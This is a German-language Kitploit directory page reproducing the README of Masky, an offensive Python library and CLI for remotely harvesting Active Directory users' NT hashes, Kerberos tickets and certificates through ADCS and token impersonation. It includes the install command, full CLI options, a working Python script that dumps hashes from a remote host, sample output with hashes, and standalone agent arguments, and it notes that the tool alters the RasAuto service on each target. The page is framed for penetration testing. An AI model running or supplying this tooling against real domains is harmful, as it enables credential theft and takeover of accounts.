Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Masky — Python-Bibliothek mit CLI, die das entfernte Auslesen von Domänenbenutzer-Anmeldeinformationen über ein ADCS ermöglicht, ohne den LSASS-Prozessspeicher auszulesen. | Kitploit
Tools/GitHubGitHub/z4ksec/masky
ExploitationPenetrationstestsAuthentifizierung
GitHubz4ksec/masky

Masky

Python-Bibliothek mit CLI, die das entfernte Auslesen von Domänenbenutzer-Anmeldeinformationen über ein ADCS ermöglicht, ohne den LSASS-Prozessspeicher auszulesen.

Repository anzeigen
404417vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Masky

PyPI version Twitter

Masky ist eine Python-Bibliothek, die eine alternative Möglichkeit bietet, Anmeldeinformationen von Domänenbenutzern mithilfe einer ADCS aus der Ferne auszulesen. Ein Befehlszeilentool wurde auf Basis dieser Bibliothek entwickelt, um einfach PFX, NT-Hashes und TGT in größerem Umfang zu sammeln.

Dieses Tool nutzt keine neue Sicherheitslücke aus und funktioniert nicht durch Auslesen des LSASS-Prozessspeichers. Es nutzt lediglich legitime Windows- und Active Directory-Funktionen aus (Token-Impersonation, Zertifikatsauthentifizierung über Kerberos und Abruf von NT-Hashes über PKINIT). Ein Blogbeitrag wurde veröffentlicht, um die implementierten Techniken und die Funktionsweise von Masky im Detail zu beschreiben.

Der Quellcode von Masky basiert weitgehend auf den erstaunlichen Tools Certify und Certipy. Ich danke ihren Autoren herzlich für die Forschungsarbeit zu offensiven Ausnutzungstechniken gegen ADCS (siehe Danksagungen).

Installation

Die Masky Python3-Bibliothek und das zugehörige CLI können einfach über das öffentliche PyPi-Repository wie folgt installiert werden:

root@kitploit:~
pip install masky

Die ausführbare Datei des Masky-Agents ist bereits im PyPi-Paket enthalten.

Falls Sie den Agenten ändern müssen, kann der C#-Code über ein Visual Studio-Projekt unter agent/Masky.sln neu kompiliert werden. Es erfordert .NET Framework 4, um erstellt zu werden.

Verwendung

Masky wurde als Python-Bibliothek entwickelt. Darüber hinaus wurde eine Befehlszeilenschnittstelle erstellt, um die Verwendung während Pentests oder RedTeam-Aktivitäten zu erleichtern.

Für beide Verwendungszwecke müssen Sie zuerst den vollqualifizierten Domänennamen (FQDN) eines CA-Servers und dessen CA-Namen ermitteln, der über eine ADCS bereitgestellt wird. Diese Informationen können einfach über die Option certipy find oder über das Microsoft-eigene Tool certutil.exe abgerufen werden. Stellen Sie sicher, dass die Standardvorlage User auf der Ziel-CA aktiviert ist.

Warnung: Masky stellt auf jedem Ziel eine ausführbare Datei über eine Änderung des vorhandenen RasAuto-Dienstes bereit. Trotz des automatischen Zurücksetzens des ursprünglichen ImagePath-Werts könnte ein unerwarteter Fehler während der Laufzeit von Masky die Bereinigungsphase überspringen. Vergessen Sie daher nicht, den ursprünglichen Wert bei einem solchen unerwünschten Stopp manuell zurückzusetzen.

Befehlszeile

Die folgende Demo zeigt eine grundlegende Verwendung von Masky durch Angriff auf 4 entfernte Systeme. Die Ausführung ermöglicht das Sammeln von NT-Hashes, CCACHE und PFX von 3 verschiedenen Domänenbenutzern aus der Testdomäne sec.lab.

Masky CLI demo

Masky bietet auch Optionen, die bei solchen Tools üblich sind (Thread-Anzahl, Authentifizierungsmodus, Ziele aus Dateien laden usw.).

root@kitploit:~
  __  __           _
 |  \/  | __ _ ___| | ___   _
 | |\/| |/ _` / __| |/ / | | |
 | |  | | (_| \__ \   <| |_| |
 |_|  |_|\__,_|___/_|\_\__,  |
  v0.0.3                 |___/

usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
             [targets ...]

positional arguments:
  targets               Targets in CIDR, hostname and IP formats are accepted, from a file or not

options:
  -h, --help            show this help message and exit
  -v, --verbose         Enable debugging messages
  -ts, --timestamps     Display timestamps for each log
  -t THREADS, --threads THREADS
                        Threadpool size (max 15)

Authentication:
  -d DOMAIN, --domain DOMAIN
                        Domain name to authenticate to
  -u USER, --user USER  Username to authenticate with
  -p PASSWORD, --password PASSWORD
                        Password to authenticate with
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
  -H HASHES, --hashes HASHES
                        Hashes to authenticate with (LM:NT, :NT or :LM)

Connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
                        Certificate Authority Name (SERVER\CA_NAME)

Results:
  -nh, --no-hash        Do not request NT hashes
  -nt, --no-ccache      Do not save ccache files
  -np, --no-pfx         Do not save pfx files
  -o OUTPUT, --output OUTPUT
                        Local path to a folder where Masky results will be stored (automatically creates the folder if it does not exit)

Python-Bibliothek

Nachfolgend finden Sie ein einfaches Skript, das die Masky-Bibliothek verwendet, um Geheimnisse von laufenden Domänenbenutzersitzungen von einem entfernten Ziel zu sammeln.

root@kitploit:~
from masky import Masky
from getpass import getpass


def dump_nt_hashes():
    # Define the authentication parameters
    ca = "srv-01.sec.lab\sec-SRV-01-CA"
    dc_ip = "192.168.23.148"
    domain = "sec.lab"
    user = "askywalker"
    password = getpass()

    # Create a Masky instance with these credentials
    m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)

    # Set a target and run Masky against it
    target = "192.168.23.130"
    rslts = m.run(target)

    # Check if Masky succesfully hijacked at least a user session
    # or if an unexpected error occured
    if not rslts:
        return False

    # Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
    print(f"Results from hostname: {rslts.hostname}")
    for user in rslts.users:
        print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")

    return True


if __name__ == "__main__":
    dump_nt_hashes()

Die Ausführung erzeugt die folgende Ausgabe.

root@kitploit:~
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
         - sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
         - sec\askywalker - 8928e0723012a8471c0084149c4e23b1
         - sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a

Ein MaskyResults-Objekt, das eine Liste von User-Objekten enthält, wird nach einer erfolgreichen Ausführung von Masky zurückgegeben.

Bitte schauen Sie sich das Modul masky\lib\results.py an, um die Methoden und Attribute zu überprüfen, die von diesen beiden Klassen bereitgestellt werden.

Eigenständiger Masky-Agent

Ab der Masky-Version 0.0.5 kann der eigenständige ausführbare Agent jetzt einfach ohne das Python-CLI ausgeführt werden.

Hier sind die Argumente:

root@kitploit:~
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)

Der Parameter /ca ist wie beim Python-CLI obligatorisch. Darüber hinaus wurde das Argument /currentUser hinzugefügt, um die Token-Impersonation zu vermeiden. Es wird eine einfache Zertifikatanforderung im Kontext des aktuellen Benutzers auf Basis der bereitgestellten Vorlage (template) durchgeführt. Die Parameter /output und /debug ermöglichen die Angabe des Pfads, in dem die Dateien erstellt werden.

Die Standardwerte sind die folgenden:

  • currentUser: false (d.h. Impersonation ist aktiviert);
  • template: User;
  • output: ./Masky_results.txt
  • debug: ./Masky_debug.txt

Masky standalone agent demo

Danksagungen

  • Olivier Lyak für das Certipy Tool und die zugehörigen Artikel
  • Will Schroeder und Lee Christensen für das Certify Tool und den Artikel Certified Pre-Owned
  • Dirk-jan für die PKINITtools und seinen Artikel ADCS NTLM relay
  • SecureAuthCorp und die dazugehörigen Mitwirkenden für die Impacket Bibliothek
  • Pixis für das Tool Lsassy
  • Incognito Tool und seine Metasploit-Implementierung
  • S3cur3Th1sSh1t für das Tool SharpImpersonation und den zugehörigen Artikel
  • McAfee für ihren Artikel über die Token-Impersonationstechniken
Tool herunterladen